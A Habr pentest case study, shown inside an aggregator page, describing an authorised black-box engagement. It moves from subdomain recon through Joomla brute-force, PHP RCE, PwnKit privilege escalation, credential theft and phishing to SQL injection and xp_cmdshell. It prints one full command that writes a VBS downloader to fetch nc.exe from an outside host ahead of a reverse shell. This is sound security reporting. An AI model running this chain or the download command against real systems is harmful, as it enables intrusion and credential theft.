惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Blog — PlanetScale
Blog — PlanetScale
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
The Last Watchdog
The Last Watchdog
AI
AI
Recent Announcements
Recent Announcements
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Stack Overflow Blog
Stack Overflow Blog
V
Visual Studio Blog
J
Java Code Geeks
TaoSecurity Blog
TaoSecurity Blog
L
LangChain Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Project Zero
Project Zero
Microsoft Security Blog
Microsoft Security Blog
量子位
T
Threatpost
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
博客园 - Franky
博客园 - 聂微东
L
LINUX DO - 最新话题
Security Archives - TechRepublic
Security Archives - TechRepublic
Hugging Face - Blog
Hugging Face - Blog
T
The Blog of Author Tim Ferriss
P
Proofpoint News Feed
The GitHub Blog
The GitHub Blog
C
Check Point Blog
宝玉的分享
宝玉的分享
G
Google Developers Blog
Spread Privacy
Spread Privacy
Cloudbric
Cloudbric
SecWiki News
SecWiki News
有赞技术团队
有赞技术团队
www.infosecurity-magazine.com
www.infosecurity-magazine.com
W
WeLiveSecurity
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
美团技术团队
V
Vulnerabilities – Threatpost
Cyberwarzone
Cyberwarzone
A
Arctic Wolf
P
Privacy & Cybersecurity Law Blog
P
Palo Alto Networks Blog
H
Help Net Security
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Cisco Talos Blog
Cisco Talos Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
A
About on SuperTechFans
N
Netflix TechBlog - Medium
罗磊的独立博客
月光博客
月光博客

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Black Box пентест: как один домен привёл к полной компрометации инфраструктуры. Часть 1
gg1ZmO · 2026-04-23 · via Все публикации подряд на Хабре

Уровень сложностиСредний

Время на прочтение5 мин

Охват и читатели1.9K

Кейс

Привет, Хабр! В этой статье я хочу поделиться опытом проведения внешнего black-box пентеста и разобрать методологию, которая позволяет находить критические уязвимости даже при минимальном входном скоупе. Статья будет разбита на две части, про внешний расскажу я, а про внутренний расскажет мой коллега.

Black-box подразумевает, что у пентестера нет никакой внутренней информации: ни списков IP, ни учётных данных, ни описания архитектуры. Только доменное имя - и вперёд. Звучит как ограничение, но на практике это зачастую преимущество: вы смотрите на инфраструктуру глазами реального злоумышленника.

Целью данного пентеста является проверка возможности компрометации внутренней инфраструктуры через веб-приложения.

1. Разведка

Первый этап любого пентеста - сбор информации о целевом домене. Здесь работает простое правило: чем больше сабдоменов найдено, тем лучше.

Для пассивного сбора информации использовались следующие инструменты:

  • sublist3r

  • dnsrecon

  • VirusTotal

  • crt.sh

В результате было найдено около 40 уникальных сабдоменов, что существуенно расширило поверхность атаки.

Интересный момент: важно понимать, что разные инструменты дают разные результаты. sublist3r и VirusTotal покрывают публичные индексы, тогда как crt.sh анализирует прозрачные логи сертификатов (Certificate Transparency logs). На практике именно crt.sh часто выдаёт сабдомены, которые не индексируются классическими сканерами - тестовые стенды, внутренние сервисы, временные домены для интеграций.

Анализ логики приложений

Разведка - это не только про сбор сабдоменов, но и анализ поведения приложений.

Важно понимать:

  • кто целевая аудитория

  • какой упор сделан на UX

  • чем могли пожертвовать в угоду удобства пользования

Был найден домен, который являлся некой системой дистанционного обучения с явными признаками на аудиторию с низким уровнем технической подготовки:

  • упрощенный интерфейс

  • огромные кнопки

  • режимы для слабовидящих

  • множество всплывающих подсказок

Все это указывало на то, что разработчики могли пожертвовать безопасностью ради доступности. И действительно, на сайте был гостевой доступ, который открыл IDOR уязвимость, позволяющую извлекать учетные данные, а также удалось вытащить данные от бд.

2. Домен, который открыл все

Среди найденных сабдоменов внимание привлек test-домен.ru. Это был домен заглушка, но при его анализе удалось выяснить, что используется CMS Joomla.

test-домен

test-домен

Форма авторизации не работала, кнопки тоже, но перебравшись на страницу авторизации админки Jooml'ы, обнаружил, что она доступна. Попытка brute-force авторизации неожиданно оказалась успешной — доступ в админку был получен за считанные секунды.

Интерфейс отображался некорректно, но бэкенд работал. Это позволило получить доступ к компонентам и изменить шаблон сайта.

В шаблон сайта был внедрен PHP-код, что дало RCE.

Выполнение команд

Выполнение команд

С таким примитивным шеллом работать не очень хочется, поэтому был создан reverse shell на VDS сервер.

Исследование сервера

При анализе сервера удалось установить:

  • сервер является хостингом

  • на нем размещено ~20 сайтов

  • часть из них - дочерние компании (они вне scope)

Доступ был ограничен пользователем www-data, поэтому потребовалась эскалация привилегий. Используя linpeas, был найден и успешно проэксплуатирован pwnkit CVE-2021-4034, что позволило получить root доступ.

получение root'a

получение root'a

После этого был создан привилегированный пользователь и мы начали изучать конфигурационные файлы.

Однако сервер хостился на VDS, и прямого доступа во внутреннюю сеть не было. А значит из этого сервера нужно выжимать все.

3. Фишинг

Для дальнейшего продвижения была согласована фишинговая атака. К этому моменту был получен доступ ко всем базам данных сайтов, а значит я мог создавать административные учетные записи на сайтах.

База данных одного из сайтов

База данных одного из сайтов

В одном из конфигов были найдены учетные данные администратора почты (Roundcube).

Это дало доступ к корпоративной почте и возможность сбрасывать пароли на сайтах, которые находились на других серверах, что позволяло расширить поверхность атаки.

Получение доступа к почтовику

Получение доступа к почтовику

Реализация атаки

На одном из корпоративных сайтов была размещена фишинговая форма авторизации, логирующая вводимые данные.

Для пользователей все выглядело легитимно. Легитимный сайт, легитимный интерфейс, доверенный отправитель с которым они общаются каждый день.

Набросок фишинговой рассылки

Набросок фишинговой рассылки

После рассылки были получены учетные данные сотрудников.

4. Почему обучение сотрудников не работает

Фишинг остаётся одним из самых эффективных векторов не потому, что сотрудники глупы, а потому что атаки хорошо подготовлены. Хорошо описано в этой статье.

Многие компании ограничиваются формальным обучением, что не даёт результата.

Принципы эффективного антифишингового обучения:

  • Регулярные имитированные атаки — не разовые рассылки, а системная работа

  • Реалистичные сценарии — письма от HR, IT-департамента, руководства; ссылки на внутренние порталы

  • Немедленная обратная связь — если сотрудник кликнул, он сразу получает обучающий материал, а не отчитывание

  • Геймификация — рейтинги, сертификаты, конкурсы между подразделениями

5. SQL-инъекция, которая изменила все

На одном из сабдоменов была обнаружена SQLi time-based.

Я обнаружил ее еще в первый день, но никакой практической пользы она не давала. Однако повторный анализ выявил, что есть второй параметр который уязвим. Комбинирование параметров позволило применить технику HTTP Parameter Fragmentation и добиться UNION-инъекции.

Вывод бд

Вывод бд

Дальнейшее изучение бд показало, что запросы мы отправляем под привилегированным пользователем.

Microsoft SQL Server 2005, очень старая и это наталкивает на мысль, что есть шанс работы xp_cmdshell.
Я проверил наличие этой процедуры и да, она была включена. Я сразу ринулся проверять возможность выполнения команд, whoami, dir и.т.д. Но в ответ пусто. Я создавал шеллы и запускал их, но никакой реакции я не встретил, постоянно NULL на любую команду.

Пришла идея проверить сам факт выполнения команд. На VDS был запущен tcpdump и оказалось - команды действительно выполняются.

Подтверждение выполнения команд

Подтверждение выполнения команд

Эксплуатация

xp_cmdshell - расширенная хранимая процедура, позволяющая выполнять команды ОС. На старых версиях (MSSQL 2005) она часто включена по умолчанию.

Проблема legacy-окружения:

  • MSSQL 2005 x86 работает только на Windows Server 2003 / 2003 R2

  • Нет PowerShell, урезанный cmd, отсутствуют curl/wget/certutil

  • Единственный надёжный вектор доставки полезной нагрузки - VBS-скрипты

Через VBS-скрипт был загружен NetCat.

EXEC xp_cmdshell 'echo Set objXML = CreateObject("MSXML2.XMLHTTP") > download.vbs && echo objXML.Open "GET", "http://IP:4444/nc.exe", False >> download.vbs && echo objXML.Send >> download.vbs && echo If objXML.Status = 200 Then >> download.vbs && echo Set objStream = CreateObject("ADODB.Stream") >> download.vbs && echo objStream.Open >> download.vbs && echo objStream.Type = 1 >> download.vbs && echo objStream.Write objXML.ResponseBody >> download.vbs && echo objStream.SaveToFile "nc.exe", 2 >> download.vbs && echo objStream.Close >> download.vbs && echo End If >> download.vbs'

Далее получаем обратную оболочку.

Обратите внимание на то, что я могу выполнять команды от системы

Обратите внимание на то, что я могу выполнять команды от системы

А дальше классика:

  • Создание пользователя

  • Внесение его в нужные нам группы

    Наш привилегированный пользователь

    Наш привилегированный пользователь

Далее пробрасываем порты и подключаемся по RDP.

Цепочка атаки

Recon → Subdomains → Joomla brute-force → RCE → root → configs → mail access → phishing → creds → SQLi → xp_cmdshell → reverse shell → RDP → domain compromise

Ключевые ошибки

  • отсутствие ограничений на авторизацию

  • хранение учетных данных в конфигурационных файлах

  • устаревшее ПО (MSSQL 2005)

  • включённый xp_cmdshell

  • недостаточная сегментация сети

  • доступ к почте через веб-интерфейс

Статья была разбита на две части. Про внутренний пентест расскажет мой коллега @CyberB.

Это был интересный пентест. Было найдено много различных уязвимостей, но рассказал вам о самых интересных. Все вульны переданы заказчику, как и рекомендации, все закрыли все починили. Всем спасибо.